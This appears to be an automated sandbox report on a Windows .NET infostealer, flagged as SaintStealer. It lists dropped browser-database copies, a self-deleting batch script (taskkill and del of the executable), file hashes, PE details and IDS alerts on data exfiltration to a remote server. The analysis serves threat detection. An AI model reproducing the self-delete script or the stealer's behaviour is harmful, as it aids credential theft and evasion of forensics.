Preview:	{"browser":{"first_run_finished":true,"first_run_study_group":"EnabledE-5","shortcut_migration_version":"117.0.5938.132"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.696426810068423e+12,"network":1.69642681e+12,"ticks":423833625.0,"uncertainty":2034246.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAABcByHmkJWMthaaF6PAj44r6G5q8HbZMYQ78KiV7ktVmQAAAAAOgAAAAAIAACAAAAA7QovYWUH9jKwer+mATh0d48meKRQtltSX16XxxPWWA2ABAAC4ore7HQTXddwLyE2jwNV/4ftVW9+MWocSg5WPR1FRhkd6090OQ8PyZLBU3Rc+zrrowkC6sKrTpTldlSWYMhzsNLXud9KDCMJbKu4celgfQ0Xli7lHCLEZtJdZB7XRZLdPzIA7yCELaNh0Tzk8tAn7OkKs/GwqTXg/0IRrDQwRjtlhpS2MXt4c7Nip//L0neEWgM2K6pW7nC6hZt+1PTTJQd1HLQI25gileFmmT7iZTmDbfhwI65gCxAbSmasdgEWMsLDPxtgVj1AgzCFIDTXul8NsIYjviDd1l7pez16jtmwELJT2bRUZ0

C:\Users\user\AppData\Local\Temp\dcchqutn.fpz

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0906888050947225
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEcwuF9hDO6vP6O9Htbzy70FqHoPFkGoup1Xl3jC:z/Ps+wsI7ynEd6Jtbz8hu3VlXr4CRoX
MD5:	6F8FFE68CBDE7984212AC28FB4502998
SHA1:	04A8B89447F7AFBC4ADF55A3CCEDF082FA58FF84
SHA-256:	871374A34C6A3799519FCCF50B91C3DFF7F543710B2F7EEF5003618E84032C31
SHA-512:	72834E16907E2B0E3637F7A969978E06E52CC660754F3E734585B5D3FDCBD02F99076757C572C595FA322E99C286A66ED95ABAEA791F98A9FA77E815052CF85A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	107
Entropy (8bit):	5.24221801046739
Encrypted:	false
SSDEEP:	3:HFTEOuMJcFKsoWwBRZDEXEPUWJRWfVXbn:yOuMJNWweoNJAdLn
MD5:	68BAA8FFE82EC46B333B016CD528507B
SHA1:	07F50DF9031093C3C2B6E068EFBFB42A72249FBF
SHA-256:	139D9ED72B18ACC52382C5C0FCA7DDA99237E1DE794A4F0F9CF6FFDA44B38368
SHA-512:	763254419A318617F34FDD5D141112AACE2C37E83233D9F18F42A167CF0DE493FDF57E87B36073DE174CEA00729087D623DFB10A387C79257F1ED44E492C8C3E
Malicious:	false
Preview:	chcp 65001..TaskKill /F /IM 1352..Timeout /T 2 /Nobreak..Del /ah "C:\Users\user\Desktop\zyEDYRU0jw.exe"..

C:\Users\user\AppData\Local\Temp\tmpB06B.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB07C.tmp.tmpdb

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB0CB.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB0CC.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB0CD.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB0DE.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB0DF.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB10E.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB10F.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB110.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB111.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB122.tmp.dat

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421773873160502
Encrypted:	false
SSDEEP:	6144:DSvfpi6ceLP/9skLmb0OTKWSPHaJG8nAgeMZMMhA2fX4WABlEnNS0uhiTw:OvloTKW+EZMM6DFy403w
MD5:	F19EEF4E1D01B4D32389DDA0899535CC
SHA1:	589A4DECA9BA8CF63B89A1303960BC92DE394EA3
SHA-256:	E5D01CA74809505D7D1CBD8DA6FA3EFF9EBF49B3D493D8040C023AD89E60096F
SHA-512:	DAD5BCC59E3BB01CE04E148F3DF26A292355AC8AFB1D639D87F251DD0EF7486FEB84F941461D3D67198CB4F12B20CA1BB441AF9B20ED4E8D39F341A4C6EFA045
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....P...............................................................................................................................................................................................................................................................................................................................................e.#........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.781938114168424
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	zyEDYRU0jw.exe
File size:	171'008 bytes
MD5:	41d3660b5321768122f4c25ac9868fc3
SHA1:	d42e3c5fc24e309581819cba723b14c3c247d824
SHA256:	c43a34e78ba6913551af41857fb63a3545acd6a9248e8a4de884988b3ccf895d
SHA512:	e02797980f11075715499878f06cfcb71a12da81f8b62f7c30deb31b831137472c450b95f5ebe9349a4205041b6f65c6468d217c2fa36a91902f75c7d5aed549
SSDEEP:	3072:oBYHQAFbcjCdDK8l8wqxrytfAndlzFvxHebZ5h2jgSw6KXwApEnB:oBYHjajw5lB2LzdxHeblqk6K
TLSH:	27F34C6833FD4A19F3BF4A3998B4919046BAF9A56933D75D598030FC2A327C1DA10B73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5............."...0.................. ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x42a602
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB880F835 [Fri Feb 3 01:58:13 2068 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push ecx
hlt
cmpsd
push eax
jle 00007F4AF471BFC3h
push ebx
sbb dl, byte ptr [edi]
movsb
ret
cmp ah, byte ptr [edi]
pop esi
xchg eax, esi
cmp ebp, dword ptr [ebx-62E03495h]
inc ebp
int1
lodsb
cli
pop eax
stosd
dec ebx
jecxz 00007F4AF471BF85h
xchg eax, ebx
and byte ptr [eax], dh
cli
push ebp
lodsd
jbe 00007F4AF471BFEFh
test byte ptr [eax-0A6E8934h], 00000002h
dec esp
and eax, FCD7E54Fh
lds ebp, fword ptr [edx]
retf
xlatb
xor eax, 62B58044h
mov dword ptr [5AB1DE8Fh], eax
dec ecx
and eax, 45671BBAh
jmp far E1C0h : FE5D980Eh
ret
das
jne 00007F4AF471BF84h
or dword ptr [eax+esi*8+12h], A397468Dh
imul edx, ebx, F9h
mov byte ptr [ebx], FFFFFF8Fh
pop edi
out 15h, eax
xchg eax, edx
pushfd
xchg eax, ebp
mov edi, 95EB7A6Dh
push edx
pop ecx
fcmovbe st(0), st(4)
mov esi, 74582D83h
and ebx, edx
dec ecx
loopne 00007F4AF471BFEBh
sub dword ptr [esi+7544C8C9h], ecx
retn 6A89h
hlt
mov seg?, word ptr [ecx+78h]
cdq
pop eax
imul esp, dword ptr [edi], B9h
jno 00007F4AF471BF5Fh
mov esi, F0B64FE1h
mov byte ptr [ebp-53DF36E9h], ch
jnl 0000BF51h
cmp dh, byte ptr [ebx-1AE7B521h]
sbb dh, byte ptr [ecx]
adc byte ptr [edi+62603351h], 00000053h
jnle 00007F4AF471BFC7h
mov cl, 64h
jnbe 00007F4AF471BF62h
mov ebx, FE84AE6Bh
and dword ptr [eax+2B08F91Ch], 00487094h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2a5b0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x5d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2a514	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x29068	0x29200	76b77f85cd4aa4ab9dddb98589135bef	False	0.4165202317629179	data	5.80755836163704	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x5d0	0x600	f08edb0240cdcebdcca1b93f0f59732a	False	0.4427083333333333	data	4.28181878845981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2e000	0xc	0x200	0f9136305b308c6636cd9d39e281f797	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2c090	0x340	data			0.45072115384615385
RT_MANIFEST	0x2c3e0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T19:47:11.098387+0100	2843856	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2	1	192.168.2.5	49708	149.154.167.220	443	TCP
2024-12-17T19:47:12.021049+0100	2039009	ET MALWARE Win32/SaintStealer CnC Response	1	149.154.167.220	443	192.168.2.5	49708	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 19:47:00.098370075 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:00.221230984 CET	80	49704	104.16.184.241	192.168.2.5
Dec 17, 2024 19:47:00.221339941 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:00.221699953 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:00.341557026 CET	80	49704	104.16.184.241	192.168.2.5
Dec 17, 2024 19:47:01.323802948 CET	80	49704	104.16.184.241	192.168.2.5
Dec 17, 2024 19:47:01.367625952 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:09.018275023 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:09.018327951 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:09.019009113 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:09.062027931 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:09.062047958 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:10.454997063 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:10.455311060 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:10.498305082 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:10.498375893 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:10.499399900 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:10.664638042 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:10.697889090 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:10.722799063 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:10.739337921 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:10.843352079 CET	80	49704	104.16.184.241	192.168.2.5
Dec 17, 2024 19:47:10.843415022 CET	49704	80	192.168.2.5	104.16.184.241
Dec 17, 2024 19:47:11.091777086 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.091823101 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.097846031 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.097872972 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.097984076 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.097992897 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098026037 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098031998 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098058939 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098064899 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098088980 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098097086 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098118067 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098125935 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098156929 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098165035 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098181009 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098189116 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098226070 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098232031 CET	443	49708	149.154.167.220	192.168.2.5
